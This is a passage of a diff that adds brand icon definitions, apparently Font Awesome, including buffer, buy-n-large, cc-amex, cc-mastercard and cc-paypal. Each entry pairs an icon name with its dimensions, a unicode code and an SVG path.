48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"], + "buffer": [448, 512, [], "f837", "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z"], + "buromobelexperte": [448, 512, [], "f37f", "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"], + "buy-n-large": [576, 512, [], "f8a6", "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"], + "buysellads": [448, 512, [], "f20d", "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"], + "canadian-maple-leaf": [512, 512, [], "f785", "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"], + "cc-amazon-pay": [576, 512, [], "f42d", "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"], + "cc-amex": [576, 512, [], "f1f3", "M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 9.2-6.4h30.4v-14.6h-33.2c-12.8 0-23.5 6.6-23.5 20.7 0 33 42.7 12.5 42.7 27.4-.1 5.4-4.7 6.4-8.8 6.4zm-42.2-40.1v-14.3h-55.2l-.1 69.3h55.2l.1-14.3-38.6-.3v-13.8H445v-14.1h-37.8v-12.5zm-56.3-108.1c-.3.2-1.4 2.2-1.4 7.6 0 6 .9 7.7 1.1 7.9.2.1 1.1.5 3.4.5l7.3-16.9c-1.1 0-2.1-.1-3.1-.1-5.6 0-7 .7-7.3 1zm20.4-10.5h-.1zm-16.2-15.2c-23.5 0-34 12-34 35.3 0 22.2 10.2 34 33 34h19.2l6.4-15.3h34.3l6.6 15.3h33.7v-51.9l31.2 51.9h23.6v-69h-16.9v48.1l-29.1-48.1h-25.3v65.4l-27.9-65.4h-24.8l-23.5 54.5h-7.4c-13.3 0-16.1-8.1-16.1-19.9 0-23.8 15.7-20 33.1-19.7v-15.2zm42.1 12.1l11.2 27.6h-22.8zm-101.1-12v69.3h16.9v-69.3z"], + "cc-apple-pay": [576, 512, [], "f416", "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"], + "cc-diners-club": [576, 512, [], "f24c", "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"], + "cc-discover": [576, 512, [], "f1f2", "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"], + "cc-jcb": [576, 512, [], "f24b", "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"], + "cc-mastercard": [576, 512, [], "f1f1", "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"], + "cc-paypal": [576, 512, [], "f1f4", "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 